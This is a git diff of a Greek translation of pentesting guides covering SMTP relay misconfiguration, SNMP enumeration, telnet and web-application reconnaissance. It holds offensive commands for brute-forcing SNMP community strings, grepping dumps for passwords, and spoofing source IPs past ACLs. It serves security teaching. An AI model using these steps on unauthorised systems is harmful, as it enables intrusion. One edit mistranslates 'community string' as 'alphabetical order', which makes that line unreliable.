Όταν αποστέλλονται emails, η διασφάλιση ότι δεν θα χαρακτηριστούν ως spam είναι κρίσιμη. Αυτό συχνά επιτυγχάνεται μέσω της χρήσης ενός **relay server που είναι αξιόπιστος από τον παραλήπτη**. Ωστόσο, μια κοινή πρόκληση είναι ότι οι διαχειριστές μπορεί να μην είναι πλήρως ενήμεροι για το ποιες **IP διευθύνσεις είναι ασφαλείς να επιτραπούν**. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του SMTP server, ένας κίνδυνος που συχνά εντοπίζεται σε αξιολογήσεις ασφάλειας.
|
||||
|
||||
Μια λύση που χρησιμοποιούν ορισμένοι διαχειριστές για να αποφύγουν προβλήματα παράδοσης email, ειδικά όσον αφορά τις επικοινωνίες με πιθανούς ή τρέχοντες πελάτες, είναι να **επιτρέπουν συνδέσεις από οποιαδήποτε IP διεύθυνση**. Αυτό γίνεται ρυθμίζοντας την παράμετρο `mynetworks` του SMTP server να αποδέχεται όλες τις IP διευθύνσεις, όπως φαίνεται παρακάτω:
|
||||
```bash
|
||||
@ -479,7 +479,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||
|
||||
### **Άλλοι δείκτες phishing**
|
||||
|
||||
- Η ηλικία του τομέα
|
||||
- Ηλικία τομέα
|
||||
- Συνδέσμοι που δείχνουν σε διευθύνσεις IP
|
||||
- Τεχνικές χειρισμού συνδέσμων
|
||||
- Υποψίες (ασυνήθιστες) συνημμένες
|
||||
|
@ -22,7 +22,7 @@ PORT STATE SERVICE REASON VERSION
|
||||
|
||||
**Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Βάσης Πληροφοριών Διαχείρισης (MIB)**.
|
||||
|
||||
Τα υψηλότερα επίπεδα των αναγνωριστικών αντικειμένων MIB, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και τα πρότυπα διαχείρισης.
|
||||
Τα υψηλότερα επίπεδα των αναγνωριστών αντικειμένων MIB, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και τα πρότυπα διαχείρισης.
|
||||
|
||||
Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργούν ιδιωτικούς κλάδους. Μέσα σε αυτούς τους κλάδους, έχουν την **αυτονομία να συμπεριλαμβάνουν διαχειριζόμενα αντικείμενα που σχετίζονται με τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα διασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και τη διαχείριση μιας ευρείας γκάμας αντικειμένων σε διάφορους προμηθευτές και πρότυπα.
|
||||
|
||||
@ -39,9 +39,9 @@ PORT STATE SERVICE REASON VERSION
|
||||
|
||||
Ακολουθεί μια ανάλυση αυτής της διεύθυνσης.
|
||||
|
||||
- 1 – αυτό ονομάζεται ISO και καθορίζει ότι αυτό είναι ένα OID. Γι' αυτό όλοι οι OIDs ξεκινούν με "1"
|
||||
- 1 – αυτό ονομάζεται ISO και καθορίζει ότι αυτό είναι ένα OID. Γι' αυτό όλοι οι OIDs ξεκινούν με “1”
|
||||
- 3 – αυτό ονομάζεται ORG και χρησιμοποιείται για να προσδιορίσει τον οργανισμό που κατασκεύασε τη συσκευή.
|
||||
- 6 – αυτό είναι το dod ή το Υπουργείο Άμυνας, το οποίο είναι ο οργανισμός που καθόρισε πρώτος το Διαδίκτυο.
|
||||
- 6 – αυτό είναι το dod ή το Υπουργείο Άμυνας, το οποίο είναι ο οργανισμός που καθόρισε το Διαδίκτυο πρώτα.
|
||||
- 1 – αυτή είναι η τιμή του διαδικτύου για να δηλώσει ότι όλες οι επικοινωνίες θα γίνονται μέσω του Διαδικτύου.
|
||||
- 4 – αυτή η τιμή καθορίζει ότι αυτή η συσκευή κατασκευάζεται από ιδιωτικό οργανισμό και όχι από κυβερνητικό.
|
||||
- 1 – αυτή η τιμή δηλώνει ότι η συσκευή κατασκευάζεται από μια επιχείρηση ή μια επιχειρηματική οντότητα.
|
||||
@ -125,7 +125,7 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** έχει πολλές πληροφορίες σχετικά με τον υπολογιστή και πράγματα που μπορεί να βρείτε ενδιαφέροντα είναι: **Διεπαφές δικτύου** (διεύθυνση **IPv4** και **IPv6**), Ονόματα χρηστών, Χρόνος λειτουργίας, Έκδοση διακομιστή/λειτουργικού συστήματος και **διεργασίες**
|
||||
**SNMP** έχει πολλές πληροφορίες σχετικά με τον υπολογιστή και πράγματα που μπορεί να βρείτε ενδιαφέροντα είναι: **Διεπαφές δικτύου** (διεύθυνση **IPv4** και **IPv6**), Ονόματα χρηστών, Χρόνος λειτουργίας, Έκδοση διακομιστή/λειτουργικού συστήματος, και **διεργασίες**
|
||||
|
||||
**που εκτελούνται** (μπορεί να περιέχουν κωδικούς πρόσβασης)....
|
||||
|
||||
@ -135,12 +135,12 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
|
||||
### Ρυθμίσεις Πρόσβασης
|
||||
|
||||
Δύο κύριες ρυθμίσεις επιτρέπουν την πρόσβαση στο **πλήρες δέντρο OID**, το οποίο είναι ένα κρίσιμο στοιχείο στη διαχείριση δικτύου:
|
||||
Δύο κύριες ρυθμίσεις επιτρέπουν την πρόσβαση στο **πλήρες δέντρο OID**, το οποίο είναι κρίσιμο στοιχείο στη διαχείριση δικτύου:
|
||||
|
||||
1. **`rwuser noauth`** είναι ρυθμισμένο ώστε να επιτρέπει πλήρη πρόσβαση στο δέντρο OID χωρίς την ανάγκη αυθεντικοποίησης. Αυτή η ρύθμιση είναι απλή και επιτρέπει απεριόριστη πρόσβαση.
|
||||
1. **`rwuser noauth`** έχει ρυθμιστεί για να επιτρέπει πλήρη πρόσβαση στο δέντρο OID χωρίς την ανάγκη αυθεντικοποίησης. Αυτή η ρύθμιση είναι απλή και επιτρέπει απεριόριστη πρόσβαση.
|
||||
2. Για πιο συγκεκριμένο έλεγχο, η πρόσβαση μπορεί να παραχωρηθεί χρησιμοποιώντας:
|
||||
- **`rwcommunity`** για διευθύνσεις **IPv4**, και
|
||||
- **`rwcommunity6`** για διευθύνσεις **IPv6**.
|
||||
- **`rwcommunity`** για **IPv4** διευθύνσεις, και
|
||||
- **`rwcommunity6`** για **IPv6** διευθύνσεις.
|
||||
|
||||
Και οι δύο εντολές απαιτούν μια **κοινότητα string** και τη σχετική διεύθυνση IP, προσφέροντας πλήρη πρόσβαση ανεξαρτήτως της προέλευσης του αιτήματος.
|
||||
|
||||
@ -148,9 +148,9 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
|
||||
Μια σειρά από **τιμές Management Information Base (MIB)** χρησιμοποιούνται για την παρακολούθηση διαφόρων πτυχών ενός συστήματος Windows μέσω SNMP:
|
||||
|
||||
- **Διεργασίες Συστήματος**: Πρόσβαση μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών εντός του συστήματος.
|
||||
- **Διεργασίες Συστήματος**: Πρόσβαση μέσω του `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών μέσα στο σύστημα.
|
||||
- **Εκτελούμενα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` έχει οριστεί για την παρακολούθηση των προγραμμάτων που εκτελούνται αυτή τη στιγμή.
|
||||
- **Διαδρομή Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
- **Διαδρομές Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
- **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από το `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
- **Όνομα Λογισμικού**: Για να προσδιορίσετε το λογισμικό που είναι εγκατεστημένο σε ένα σύστημα, χρησιμοποιείται το `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
- **Λογαριασμοί Χρηστών**: Η τιμή `1.3.6.1.4.1.77.1.2.25` επιτρέπει την παρακολούθηση των λογαριασμών χρηστών.
|
||||
@ -166,7 +166,7 @@ cisco-snmp.md
|
||||
|
||||
## Από SNMP σε RCE
|
||||
|
||||
Αν έχετε την **κοινότητα string** που σας επιτρέπει να **γράφετε τιμές** μέσα στην υπηρεσία SNMP, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να **εκτελέσετε εντολές**:
|
||||
Αν έχετε την **αλφαβητική σειρά** που σας επιτρέπει να **γράφετε τιμές** μέσα στην υπηρεσία SNMP, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να **εκτελείτε εντολές**:
|
||||
|
||||
{{#ref}}
|
||||
snmp-rce.md
|
||||
@ -174,9 +174,9 @@ snmp-rce.md
|
||||
|
||||
## **Μαζικό SNMP**
|
||||
|
||||
[Braa ](https://github.com/mteg/braa)είναι ένας μαζικός σαρωτής SNMP. Η προοριζόμενη χρήση ενός τέτοιου εργαλείου είναι, φυσικά, η εκτέλεση ερωτημάτων SNMP – αλλά σε αντίθεση με το snmpwalk από το net-snmp, είναι ικανό να ερωτά δεκάδες ή εκατοντάδες υπολογιστές ταυτόχρονα, και σε μία μόνο διαδικασία. Έτσι, καταναλώνει πολύ λίγους πόρους συστήματος και εκτελεί τη σάρωση ΠΟΛΥ γρήγορα.
|
||||
[Braa ](https://github.com/mteg/braa) είναι ένας μαζικός σαρωτής SNMP. Η προοριζόμενη χρήση ενός τέτοιου εργαλείου είναι, φυσικά, η εκτέλεση ερωτημάτων SNMP – αλλά σε αντίθεση με το snmpwalk από το net-snmp, είναι ικανό να ερωτά δεκάδες ή εκατοντάδες υπολογιστές ταυτόχρονα, και σε μία μόνο διαδικασία. Έτσι, καταναλώνει πολύ λίγους πόρους συστήματος και εκτελεί τη σάρωση ΠΟΛΥ γρήγορα.
|
||||
|
||||
Το Braa υλοποιεί τη ΔΙΚΗ του στοίβα snmp, οπότε ΔΕΝ χρειάζεται καμία βιβλιοθήκη SNMP όπως το net-snmp.
|
||||
Το Braa υλοποιεί τη ΔΙΚΗ του στοίβα snmp, επομένως ΔΕΝ χρειάζεται καμία βιβλιοθήκη SNMP όπως το net-snmp.
|
||||
|
||||
**Σύνταξη:** braa \[Community-string]@\[IP του διακομιστή SNMP]:\[iso id]
|
||||
```bash
|
||||
@ -194,13 +194,13 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
### **Εντοπισμός Ιδιωτικής Συμβολοσειράς**
|
||||
|
||||
Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής συμβολοσειράς κοινότητας** που χρησιμοποιείται από οργανισμούς, ιδιαίτερα σε δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**:
|
||||
Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής συμβολοσειράς κοινότητας** που χρησιμοποιούν οι οργανισμοί, ιδιαίτερα στους δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**:
|
||||
```bash
|
||||
grep -i "trap" *.snmp
|
||||
```
|
||||
### **Ονόματα Χρηστών/Κωδικοί Πρόσβασης**
|
||||
|
||||
Τα αρχεία καταγραφής που αποθηκεύονται στους πίνακες MIB εξετάζονται για **αποτυχημένες προσπάθειες σύνδεσης**, οι οποίες μπορεί να περιλαμβάνουν κατά λάθος κωδικούς πρόσβασης που εισάγονται ως ονόματα χρηστών. Λέξεις-κλειδιά όπως _fail_, _failed_, ή _login_ αναζητούνται για να βρεθούν πολύτιμα δεδομένα:
|
||||
Τα αρχεία καταγραφής που αποθηκεύονται στους πίνακες MIB εξετάζονται για **αποτυχημένες προσπάθειες σύνδεσης**, οι οποίες μπορεί τυχαία να περιλαμβάνουν κωδικούς πρόσβασης που εισάγονται ως ονόματα χρηστών. Λέξεις-κλειδιά όπως _fail_, _failed_, ή _login_ αναζητούνται για να βρεθούν πολύτιμα δεδομένα:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
@ -214,11 +214,11 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε _**NetScanTools**_ για να **τροποποιήσετε τιμές**. Θα χρειαστεί να γνωρίζετε την **ιδιωτική συμβολοσειρά** για να το κάνετε αυτό.
|
||||
|
||||
## Ψεύδισμα
|
||||
## Ψεύτικη διεύθυνση
|
||||
|
||||
Εάν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες διευθύνσεις IP να ερωτούν την υπηρεσία SMNP, μπορείτε να ψεύσετε μία από αυτές τις διευθύνσεις μέσα στο πακέτο UDP και να καταγράψετε την κίνηση.
|
||||
Αν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες IP να ερωτούν την υπηρεσία SMNP, μπορείτε να ψεύσετε μία από αυτές τις διευθύνσεις μέσα στο πακέτο UDP και να καταγράψετε την κίνηση.
|
||||
|
||||
## Εξέταση αρχείων ρυθμίσεων SNMP
|
||||
## Εξέταση αρχείων ρύθμισης SNMP
|
||||
|
||||
- snmp.conf
|
||||
- snmpd.conf
|
||||
|
@ -17,7 +17,7 @@
|
||||
```bash
|
||||
nc -vn <IP> 23
|
||||
```
|
||||
Όλη η ενδιαφέρουσα αρίθμηση μπορεί να πραγματοποιηθεί με **nmap**:
|
||||
Όλη η ενδιαφέρουσα αρίθμηση μπορεί να πραγματοποιηθεί με το **nmap**:
|
||||
```bash
|
||||
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
@ -25,7 +25,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
|
||||
Από το [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Στο Πρωτόκολλο TELNET υπάρχουν διάφορες "**επιλογές**" που θα εγκριθούν και μπορεί να χρησιμοποιηθούν με τη δομή "**DO, DON'T, WILL, WON'T**" για να επιτρέψουν σε έναν χρήστη και σε έναν διακομιστή να συμφωνήσουν να χρησιμοποιήσουν ένα πιο περίπλοκο (ή ίσως απλώς διαφορετικό) σύνολο συμβάσεων για τη σύνδεση TELNET τους. Τέτοιες επιλογές θα μπορούσαν να περιλαμβάνουν την αλλαγή του χαρακτήρα, τη λειτουργία ηχούς κ.λπ.
|
||||
|
||||
**Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημερώστε με αν ξέρετε πώς.**
|
||||
**Ξέρω ότι είναι δυνατό να απαριθμήσω αυτές τις επιλογές αλλά δεν ξέρω πώς, οπότε ενημέρωσέ με αν ξέρεις πώς.**
|
||||
|
||||
### [Brute force](../generic-hacking/brute-force.md#telnet)
|
||||
|
||||
|
@ -25,18 +25,18 @@ web-api-pentesting.md
|
||||
|
||||
## Methodology summary
|
||||
|
||||
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή subdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.
|
||||
> Σε αυτή τη μεθοδολογία θα υποθέσουμε ότι θα επιτεθείτε σε ένα domain (ή υποdomain) και μόνο σε αυτό. Έτσι, θα πρέπει να εφαρμόσετε αυτή τη μεθοδολογία σε κάθε ανακαλυφθέν domain, subdomain ή IP με ακαθόριστο web server εντός του πεδίου εφαρμογής.
|
||||
|
||||
- [ ] Ξεκινήστε με την **ταυτοποίηση** των **τεχνολογιών** που χρησιμοποιούνται από τον web server. Αναζητήστε **κόλπα** που να έχετε υπόψη σας κατά τη διάρκεια της υπόλοιπης δοκιμής αν μπορείτε να ταυτοποιήσετε επιτυχώς την τεχνολογία.
|
||||
- [ ] Υπάρχει κάποια **γνωστή ευπάθεια** της έκδοσης της τεχνολογίας;
|
||||
- [ ] Χρησιμοποιείτε κάποια **γνωστή τεχνολογία**; Υπάρχει κάποιο **χρήσιμο κόλπο** για να εξάγετε περισσότερες πληροφορίες;
|
||||
- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξει (όπως το wpscan);
|
||||
- [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξετε (όπως το wpscan);
|
||||
- [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
|
||||
- [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS).
|
||||
- [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή spidering, θα πρέπει να γίνει spidering._
|
||||
- [ ] **Directory Brute-Forcing**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**.
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
|
||||
- [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή spidering, θα πρέπει να γίνει Brute-Forced._
|
||||
- [ ] **Έλεγχος αντιγράφων ασφαλείας**: Δοκιμάστε αν μπορείτε να βρείτε **αντίγραφα ασφαλείας** των **ανακαλυφθέντων αρχείων** προσθέτοντας κοινές επεκτάσεις αντιγράφων ασφαλείας.
|
||||
- [ ] **Brute-Force παράμετροι**: Προσπαθήστε να **βρείτε κρυφές παραμέτρους**.
|
||||
- [ ] Μόλις έχετε **ταυτοποιήσει** όλα τα πιθανά **endpoints** που δέχονται **είσοδο χρήστη**, ελέγξτε για κάθε είδους **ευπάθειες** που σχετίζονται με αυτό.
|
||||
@ -46,7 +46,7 @@ web-api-pentesting.md
|
||||
|
||||
### Identify
|
||||
|
||||
Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που είναι σε λειτουργία.\
|
||||
Ελέγξτε αν υπάρχουν **γνωστές ευπάθειες** για την **έκδοση** του server που τρέχει.\
|
||||
Οι **HTTP headers και τα cookies της απάντησης** θα μπορούσαν να είναι πολύ χρήσιμα για να **ταυτοποιήσετε** τις **τεχνολογίες** και/ή την **έκδοση** που χρησιμοποιείται. Η **σάρωση Nmap** μπορεί να ταυτοποιήσει την έκδοση του server, αλλά θα μπορούσαν επίσης να είναι χρήσιμα τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
@ -56,7 +56,7 @@ webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **Έλεγχος αν υπάρχει WAF**
|
||||
### **Check if any WAF**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
@ -99,18 +99,18 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
|
||||
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\
|
||||
Εάν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform που αναφέρθηκε προηγουμένως** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!).
|
||||
Εάν η web εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **tech/platform listed before** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **search on the Internet** νέες tricks (και ενημερώστε με!).
|
||||
|
||||
### Source Code Review
|
||||
|
||||
Εάν ο **κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
|
||||
Εάν ο **source code** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας μια White box test** της εφαρμογής, υπάρχει **μερικές πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
|
||||
|
||||
- Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **version info accessible** μέσω web;
|
||||
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς);
|
||||
- Είναι οι **κωδικοί** σε **plain text**, **encrypted** ή ποιο **hashing algorithm** χρησιμοποιείται;
|
||||
- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου; Ποιο **algorithm** χρησιμοποιείται;
|
||||
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (usernames ή passwords);
|
||||
- Είναι οι **κωδικοί πρόσβασης** σε **plain text**, **encrypted** ή ποια **hashing algorithm** χρησιμοποιείται;
|
||||
- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάποιου; Ποια **algorithm** χρησιμοποιείται;
|
||||
- Μπορείτε να **access any of these files** εκμεταλλευόμενοι κάποια ευπάθεια;
|
||||
- Υπάρχει κάποια **ενδιαφέρουσα πληροφορία στο github** (λυμένα και μη λυμένα) **issues**; Ή στην **ιστορία commit** (ίσως κάποιο **password που εισήχθη σε ένα παλιό commit**) ;
|
||||
- Υπάρχει κάποια **interesting information in the github** (λυμένα και μη λυμένα) **issues**; Ή στην **commit history** (ίσως κάποιο **password introduced inside an old commit**) ;
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
@ -153,7 +153,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
|
||||
### Αρχικές ελέγχοι
|
||||
|
||||
**Προεπιλεγμένες σελίδες με ενδιαφέροντα πληροφορίες:**
|
||||
**Προεπιλεγμένες σελίδες με ενδιαφέροντα στοιχεία:**
|
||||
|
||||
- /robots.txt
|
||||
- /sitemap.xml
|
||||
@ -162,7 +162,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- /.well-known/
|
||||
- Ελέγξτε επίσης τα σχόλια στις κύριες και δευτερεύουσες σελίδες.
|
||||
|
||||
**Εξαναγκασμός σφαλμάτων**
|
||||
**Δημιουργία σφαλμάτων**
|
||||
|
||||
Οι web servers μπορεί να **συμπεριφέρονται απροσδόκητα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή **να αποκαλύψει ευαίσθητες πληροφορίες**.
|
||||
|
||||
@ -178,12 +178,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
- **Brute Force** διαπιστευτήρια
|
||||
- **Ανεβάστε αρχεία** μέσω WebDav στους **υπόλοιπους** **βρεθέντες φακέλους** μέσα στην ιστοσελίδα. Μπορεί να έχετε άδειες να ανεβάσετε αρχεία σε άλλους φακέλους.
|
||||
|
||||
### **SSL/TLS ευπάθειες**
|
||||
### **Ευπάθειες SSL/TLS**
|
||||
|
||||
- Αν η εφαρμογή **δεν αναγκάζει τον χρήστη να χρησιμοποιεί HTTPS** σε κανένα σημείο, τότε είναι **ευάλωτη σε MitM**
|
||||
- Αν η εφαρμογή **αποστέλλει ευαίσθητα δεδομένα (κωδικούς πρόσβασης) χρησιμοποιώντας HTTP**. Τότε είναι μια υψηλή ευπάθεια.
|
||||
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτού του είδους οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες:
|
||||
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για να ελέγξετε για **ευπάθειες** (Στα προγράμματα Bug Bounty πιθανώς αυτές οι ευπάθειες δεν θα γίνουν αποδεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για να επανελέγξετε τις ευπάθειες:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
@ -216,17 +216,17 @@ sslyze --regular <ip:port>
|
||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
|
||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
|
||||
- [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων.
|
||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτωθεί η σελίδα.
|
||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές από τα προηγούμενα εργαλεία.
|
||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS.
|
||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS.
|
||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο.
|
||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμη και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες κανονικές εκφράσεις.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Το Spider Suite είναι ένα προηγμένο GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript.
|
||||
